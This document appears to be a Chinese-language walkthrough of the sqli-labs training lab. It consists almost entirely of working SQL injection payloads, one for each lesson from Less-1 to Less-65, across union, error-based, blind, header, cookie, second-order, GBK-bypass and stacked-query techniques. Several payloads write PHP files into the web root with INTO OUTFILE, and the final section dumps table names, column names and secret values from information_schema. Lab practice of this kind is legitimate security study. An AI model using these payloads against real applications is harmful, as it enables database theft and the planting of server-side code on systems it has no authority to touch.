sqli-爱代码爱编程
目录
第三关:Page-3 (Stacked Injections)
整体解决思路:
1、根据首页提示,结合实际页面显示情况,做基本判断,如果是盲注型,则说明没有回显,无论是错误回显还是正确的结果,直接上来先尝试拼接 XXX and 1=1 和 XXX and 1=2。
2、根据提示,组合关键字和拼接的字符串和闭合字符,可以尝试 不带引号、单引号、双引号、圆括号、单引号+圆括号、双引号+圆括号、双圆括号。
3、如果根据提示、和以上各种尝试发现还是没有办法获取到有用信息,绕过方式失效,database(),则可以考虑分析一下源代码。
4、通常使用 order by 来判断列的数量的时候,基本上都是3列,因为slect * from users为3列。
5、进行布尔盲注时,先使用已知的Payload:and length(database())=8 和 and length(database())=7 进行判断,进而 substr(database(), 1, 1) = 's' 进行进一步的盲注获取结果。
6、如果遇到一些完全没有思路的时候,尝试着将后台可能使用的SQL语句写出来,再进行分析。
7、如果存在多个参数的时候,可以尝试不同的参数,不一定必须是第一个参数。比如用户名和密码,都可以进行尝试。
8、使用堆叠注入时,第二条SQL语句的查询结果无法回显,则首先考虑报错的情况,如果也没有报错回显,那么考虑写入木马文件的方式:select "<?php phpinfo(); ?>" into outfile "/opt/lampp/htdocs/sqli-lab/cache/mm38.php"
9、但凡是提交Post请求的地方,必须要确认POST请求的URL地址和正文数据。
10、在Select语句中的Order By字段,要么根据 列名 排序,要么根据列的 序号 排序,但是无法根据一个 列名字符串 进行排序。
11、报错注入时,要在报错的基础下进行报错注入,比如单引号时报错,双引号时不报错,那么报错注入的代码就要在单引号的情况下使用。
第一关:Page-1(Basic Challenges)
/Less-1/?id=-1' union select 1,database(),3--+ 或者 and updatexml(1, concat(0x7e, database(), 0x7e), 1) /Less-2/?id=-1 union select 1,database(),3 /Less-3/?id=-1') union select 1,database(),3--+ /Less-4/?id=-1") union select 1,database(),3--+ /Less-5/?id=1' and updatexml(1, concat(0x7e, database(), 0x7e), 1)--+ /Less-6/?id=1" or updatexml(1, concat(0x7e, database(), 0x7e), 1)--+ /Less-7/?id=1')) union select 1,"<?php phpinfo(); ?>",3 into outfile '/opt/lampp/htdocs/sqli-lab/Less-7/mm.php'--+ # 需要确认有写入权限, 也可以使用 id=1')) and length(database())=8 --+ 进行盲注 /Less-8/?id=1' and length(database())=8 --+ /Less-9/?id=1' and if(length(database())=8, sleep(5), 1)--+ /Less-10/?id=1" and if(length(database())=8, sleep(5), 1)--+ /Less-11/: uname=x' and updatexml(1, concat(0x7e, database(), 0x7e), 1)#'&passwd=123456 /Less-12/: uname=x") and updatexml(1, concat(0x7e, database(), 0x7e), 1)#"&passwd=123456 /Less-13/: uname=x') and updatexml(1, concat(0x7e, database(), 0x7e), 1)#&passwd=123456 /Less-14/: uname=x" and updatexml(1, concat(0x7e, database(), 0x7e), 1)#&passwd=123456 /Less-15/: uname=x' or length(database())=8#'&passwd=123456 /Less-16/: uname=x") or length(database())=8#&passwd=123456 /Less-17/: uname=Dumb&passwd=123456' and updatexml(1, concat(0x7e, database(), 0x7e), 1)# /Less-18/: User-Agent: ' or updatexml(1, concat(0x7e, database(), 0x7e), 1) or ' uname=Dumb&passwd=Dumb /Less-19/: Referer: ' or updatexml(1, concat(0x7e, database(), 0x7e), 1) or ' uname=Dumb&passwd=Dumb /Less-20/: Cookie: uname=Dumb' or updatexml(1, concat(0x7e, database(), 0x7e), 1) or ' uname=Dumb&passwd=Dumb /Less-21/: 先登录 uname=Dumb&passwd=Dumb, 再修改Cookie: uname=Dumb') and updatexml(1, concat(0x7e, database(), 0x7e), 1)# 再将上述字段进行Base64编码并发送 Cookie: uname=RHVtYicpIGFuZCB1cGRhdGV4bWwoMSwgY29uY2F0KDB4N2UsIGRhdGFiYXNlKCksIDB4N2UpLCAxKSM= /Less-22/: 操作方式同21,Cookie字段:uname=Dumb" and updatexml(1, concat(0x7e, database(), 0x7e), 1)#
第二关:Page-2 (Adv Injections)
/Less-23/?id=-1' union select 1,database(),3 and '1'='1 /Less-24/: 二次注入,先注册账号:admin'#,再重置密码,再用admin账号和新密码登录 /Less-25/?id=-1' union select 1,database(),3--+ /Less-25a/?id=1%26%26length(database())=8 /Less-26/?id=1'%26%26updatexml(1, concat(0x7e, database(), 0x7e), 1)%26%26'1'='1 /Less-26a/?id=1'%26%26length(database())=8%26%26'1'='1 /Less-27/?id=1'%26%26updatexml(1, concat(0x7e, database(), 0x7e), 1)%26%26'1'='1 /Less-27a/?id=1"%26%26length(database())=8%26%26"1"="1 /Less-28/?id=1')%26%26length(database())=8%26%26('1')=('1 Less-28试过:1')%26%26updatexml(1, concat(0x7e, database(), 0x7e),1)%26%26('1')=('1,报错,无回显,提示不对 /Less-28a/?id=1')%26%26length(database())=8%26%26('1')=('1 查看源代码,发现28和28a是一模一样的代码,应该是作者刻意误导 /Less-29/?id=1' and length(database())=7--+ # 题目误导,其实是个布尔盲注 /Less-30/?id=1" and length(database())=7--+ # 本题极具误导性,其实什么WAF也没有,害我研究半天 /Less-31/?id=1") and length(database())=8--+ # 啥WAF也没有 /Less-32/?id=1%df' and length(database())=8--+ # GBK编码 /Less-33/?id=1%df' and length(database())=8--+ # GBK编码 /Less-34/: uname=1%df' and updatexml(1, concat(0x7e, database(), 0x7e), 1)#&passwd=123456 Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (gbk_chinese_ci,COERCIBLE) for operation '=' /Less-35/?id=1 and length(database())=8 /Less-36/?id=1%df' and updatexml(1, concat(0x7e, database(), 0x7e), 1)--+ /Less-37/: 同Less-34 /Less-38/?id=1';select "<?php phpinfo(); ?>" into outfile '/opt/lampp/htdocs/sqli-lab/Less-7/mm38.php'--+
第三关:Page-3 (Stacked Injections)
/Less-38/?id=1';select "<?php phpinfo(); ?>" into outfile '/opt/lampp/htdocs/sqli-lab/Less-7/mm38.php'--+ 或报错注入:1' and updatexml(1, concat(0x7e, database(), 0x7e), 1)--+ /Less-39/?id=1;select "<?php phpinfo(); ?>" into outfile '/opt/lampp/htdocs/sqli-lab/Less-7/mm39.php'--+ /Less-40/?id=1');select "<?php phpinfo(); ?>" into outfile '/opt/lampp/htdocs/sqli-lab/Less-7/mm40.php'--+ 或使用盲注:id=1') and 1=2--+ /Less-41/?id=1;select "<?php phpinfo(); ?>" into outfile '/opt/lampp/htdocs/sqli-lab/Less-7/mm41.php'--+ 或使用盲注:id=1 and 1=2 --+ /Less-42/login.php: 发送POST请求如下: login_user=Dumb&login_password=123456' or updatexml(1, concat(0x7e, database(), 0x7e), 1) or ' 或: login_user=Dumb&login_password=123456'; select "<?php phpinfo(); ?>" into outfile '/opt/lampp/htdocs/sqli-lab/Less-7/mm41.php'# /Less-43/login.php: 发送POST请求如下: login_user=Dumb&login_password=123456') or updatexml(1, concat(0x7e, database(), 0x7e), 1) or (' /Less-44/login.php: 发送POST请求如下: login_user=Dumb&login_password=123456';select "<?php phpinfo(); ?>" into outfile '/opt/lampp/htdocs/sqli-lab/Less-7/mm44.php'--+ /Less-45/login.php: 发送POST请求如下: login_user=Dumb&login_password=123456'); select "<?php phpinfo(); ?>" into outfile '/opt/lampp/htdocs/sqli-lab/Less-7/mm45.php'# order by 后面一般不允许跟 and /Less-46/?sort=(if(length(database())=8, id, username)) 或 Less-46/?sort=1 and updatexml(1, concat(0x7e, database(), 0x7e), 1) (像order by 这种类型的题,其实就类似于整数型参数id,只不过是order by的用法和效果有区别了而已) /Less-47/?sort=1',updatexml(1, concat(0x7e, database(), 0x7e), 1)--+ 或 Less-47/?sort=1' and updatexml(1, concat(0x7e, database(), 0x7e), 1) or ' /Less-48/?sort=(if(length(database())=8, id, username)) /Less-49/?sort=1',(if(length(database())=7, id, username))%23 /Less-50/?sort=1;select "<?php phpinfo(); ?>" into outfile '/opt/lampp/htdocs/sqli-lab/Less-7/mm50.php'--+ /Less-51/?sort=1';select "<?php phpinfo(); ?>" into outfile '/opt/lampp/htdocs/sqli-lab/Less-7/mm51.php'--+ /Less-52/?sort=1;select "<?php phpinfo(); ?>" into outfile '/opt/lampp/htdocs/sqli-lab/Less-7/mm52.php'--+ /Less-53/?sort=1';select "<?php phpinfo(); ?>" into outfile '/opt/lampp/htdocs/sqli-lab/Less-7/mm53.php'--+
第四关:Page-4 (Challenges)
Less-54/?id=1' and 1=2--+ Less-55/?id=1) and 1=2--+ Less-56/?id=1') and 1=1--+ Less-57/?id=1" and 1=1--+ /Less-58/?id=1' and updatexml(1, concat(0x7e, database(), 0x7e), 1)--+ /Less-59/?id=1 and updatexml(1, concat(0x7e, database(), 0x7e), 1)--+ /Less-60/?id=1") and 1=1--+ /Less-61/?id=1')) and 1=1--+ /Less-62/?id=1') and length(database())=10--+ /Less-63/?id=1' and 1=2--+ /Less-64/?id=1)) and 1=2--+ /Less-65/?id=1") and 1=2--+
通常用的:
id=-1' union select 1, database(), 3--+ id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),3 --+ id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='3U71GBURW6'),3 --+ id=-1' union select id,sessid,secret_UEGU from challenges.3U71GBURW6 --+ select group_concat(table_name) from information_schema.tables where table_schema='security'